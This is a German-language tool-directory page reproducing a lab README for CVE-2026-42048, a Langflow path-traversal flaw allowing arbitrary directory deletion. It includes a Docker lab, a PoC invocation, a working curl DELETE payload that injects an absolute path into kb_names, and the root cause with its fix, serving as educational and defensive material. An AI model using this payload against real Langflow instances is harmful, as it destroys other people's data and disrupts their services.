Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-42048 — Langflow Beliebige Verzeichnislöschung | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-42048
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubeqstlab/cve-2026-42048

CVE-2026-42048

Langflow Beliebige Verzeichnislöschung

Repository anzeigen
22vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-42048

CVE-2026-42048 Langflow Path Traversal / PoC für beliebiges Löschen von Verzeichnissen

https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de


Beschreibung

CVE-2026-42048 : Langflow Schwachstelle zum beliebigen Löschen von Verzeichnissen

Beschreibung: Eine Path-Traversal-Schwachstelle in Langflow vor 1.9.0 ermöglicht einem authentifizierten Angreifer, Verzeichnisse außerhalb des vorgesehenen Knowledge-Base-Speicherpfads über den Bulk-Delete-Endpunkt DELETE /api/v1/knowledge_bases zu löschen. Das Problem tritt auf, weil vom Benutzer kontrollierte kb_names-Werte verwendet werden, um Dateisystempfade ohne ordnungsgemäße Normalisierung und Begrenzungsprüfung zu konstruieren.


Voraussetzungen

Eine erfolgreiche Ausnutzung erfordert die folgenden Bedingungen:

  • Das Ziel führt eine anfällige Langflow-Version vor 1.9.0 aus.
  • Der Angreifer kann den Knowledge-Bases-Bulk-Delete-Endpunkt erreichen:
root@kitploit:~
DELETE /api/v1/knowledge_bases
Tool herunterladen
  • Der Angreifer ist authentifiziert oder kann anderweitig authentifizierte API-Anfragen stellen. Öffentliche Advisories beschreiben dieses Problem als mit geringen Berechtigungen ausnutzbar (PR:L).
  • Der Angreifer kann den kb_names-Parameter im Anforderungstext kontrollieren.
  • Der Langflow-Prozess hat Dateisystemberechtigungen, um das Zielverzeichnis zu löschen.

Diese Schwachstelle umgeht keine Betriebssystem-Berechtigungen. Sie missbraucht Langflows eigene Pfadverarbeitungs- und Löschlogik.


Lab-Einrichtung

Erstellen und starten Sie die verwundbare Umgebung mit Docker:

Image erstellen

root@kitploit:~
docker build -t cve-2026-42048 .

Container starten

root@kitploit:~
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048

Status prüfen

root@kitploit:~
curl http://127.0.0.1:9101/status

Das Lab erstellt ein einmaliges Zielverzeichnis unter:

root@kitploit:~
/target/CVE-2026-42048

Der /status-Endpunkt meldet, ob dieses Verzeichnis noch existiert.


Verwendung

Exploit mit PoC

root@kitploit:~
python3 poc.py

Interaktive Eingabe:

root@kitploit:~
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:

Exploit mit curl

root@kitploit:~
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
  -H "Content-Type: application/json" \
  -d '{"kb_names":["/target/CVE-2026-42048"]}'

Ergebnis überprüfen

root@kitploit:~
curl http://127.0.0.1:9101/status

Bei erfolgreicher Ausnutzung ändert sich target_exists von true auf false.


Analyse

Angreifbarer Endpunkt

root@kitploit:~
DELETE /api/v1/knowledge_bases

Die Schwachstelle besteht in Langflows Bulk-Delete-API für Knowledge Bases. Der betroffene Handler akzeptiert eine Liste von Knowledge-Base-Namen über den Parameter kb_names und verwendet jeden Wert, um einen Dateisystempfad für das Löschen zu erstellen.

In verwundbaren Versionen konstruiert die Bulk-Delete-Logik den Pfad manuell, anstatt den sichereren Pfadauflösungs-Helper zu verwenden, der von anderen Knowledge-Base-Endpunkten genutzt wird. Eine vereinfachte Darstellung des anfälligen Musters ist:

root@kitploit:~
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username

for kb_name in request.kb_names:
    kb_path = kb_user_path / kb_name

    if not kb_path.exists() or not kb_path.is_dir():
        continue

    KBStorageHelper.delete_storage(kb_path, kb_name)

Der Delete-Helper entfernt schließlich das Zielverzeichnis mit rekursiver Löschlogik. Da kb_name vom Angreifer kontrolliert wird, können Path-Traversal-Sequenzen wie ../ aus dem Knowledge-Base-Verzeichnis des aktuellen Benutzers ausbrechen. In Pythons pathlib kann ein absoluter Pfad auf der rechten Seite die vorherigen Pfadkomponenten überschreiben:

root@kitploit:~
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048

Infolgedessen kann ein manipulierte kb_names-Wert dazu führen, dass Langflow ein Verzeichnis außerhalb des vorgesehenen Knowledge-Base-Speicherstamms löscht, sofern der Langflow-Prozess die Berechtigung zum Entfernen dieses Verzeichnisses hat.

Dies ist ein CWE-22: Improper Limitation of a Pathname to a Restricted Directory-Problem.

Technische Ursache

Die Ursache ist eine unzureichende Normalisierung und Begrenzungsprüfung von benutzergesteuerten Pfadkomponenten vor dem rekursiven Löschen. Der verwundbare Bulk-Delete-Endpunkt prüft, ob der endgültige Pfad existiert, aber er stellt nicht sicher, dass der aufgelöste Pfad innerhalb des Knowledge-Base-Verzeichnisses des authentifizierten Benutzers bleibt.

Eine robuste Korrektur muss:

  • den endgültigen Pfad mit Path.resolve() normalisieren
  • sicherstellen, dass der aufgelöste Pfad noch innerhalb des Knowledge-Base-Verzeichnisses des authentifizierten Benutzers liegt
  • Pfade, die aus diesem Verzeichnis ausbrechen, vor dem Löschen ablehnen

Langflow hat dieses Problem in 1.9.0 behoben.

Warum dies wichtig ist

Das beliebige Löschen von Verzeichnissen kann sich direkt auf Integrität und Verfügbarkeit auswirken. Abhängig von den Berechtigungen der Bereitstellung und der Dateisystemstruktur kann ein Angreifer möglicherweise:

  • Knowledge-Base-Daten eines anderen Benutzers löschen
  • anwendungs eigene Verzeichnisse entfernen
  • den Langflow-Laufzeitzustand stören
  • Datenverlust oder Dienstunterbrechung verursachen

Dieses Problem erfordert keine beliebige Codeausführung, um schädlich zu sein. Rekursives Löschen mit Anwendungsberechtigungen reicht aus, um Daten und Verfügbarkeit zu beeinträchtigen.


Szenario

root@kitploit:~
+-------------------------------------------+
|            Authentifizierter Benutzer     |
+-------------------------------------------+
                      |
                      | DELETE /api/v1/knowledge_bases
                      | kb_names = ["/target/CVE-2026-42048"]
                      v
+-------------------------------------------+
|       Langflow Knowledge Base API         |
+-------------------------------------------+
                      |
                      | Unsichere Pfadkonstruktion
                      v
+-------------------------------------------+
|   Pfad verlässt vorgesehenes KB-Benutzerverzeichnis |
+-------------------------------------------+
                      |
                      | Rekursives Löschen des Verzeichnisses
                      v
+-------------------------------------------+
|        Beliebiges Löschen von Verzeichnissen       |
+-------------------------------------------+

Laborhinweise

Dieses Lab stellt einen kleinen Challenge-Proxy auf Port 9101 bereit. Der Proxy verbirgt die vollständige Langflow-Benutzeroberfläche und den direkten Backend-Port und leitet nur den minimalen verwundbaren API-Pfad weiter, der für diese Übung benötigt wird.

Das Zielverzeichnis für das Lab ist:

root@kitploit:~
/target/CVE-2026-42048

Der /status-Endpunkt kann verwendet werden, um zu bestätigen, dass das Zielverzeichnis gelöscht wurde.


Bereinigung

root@kitploit:~
docker stop cve-2026-42048

Haftungsausschluss

Dieses Repository ist nicht dazu bestimmt, die unbefugte Ausnutzung von Langflow-Instanzen zu erleichtern. Der Zweck dieses Projekts ist es, Sicherheitsforschern, Verteidigern und Entwicklern zu helfen, die Schwachstelle zu verstehen, die Exposition in kontrollierten Umgebungen zu validieren und wirksame Gegenmaßnahmen anzuwenden.


Referenzen

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q

https://nvd.nist.gov/vuln/detail/CVE-2026-42048

https://github.com/langflow-ai/langflow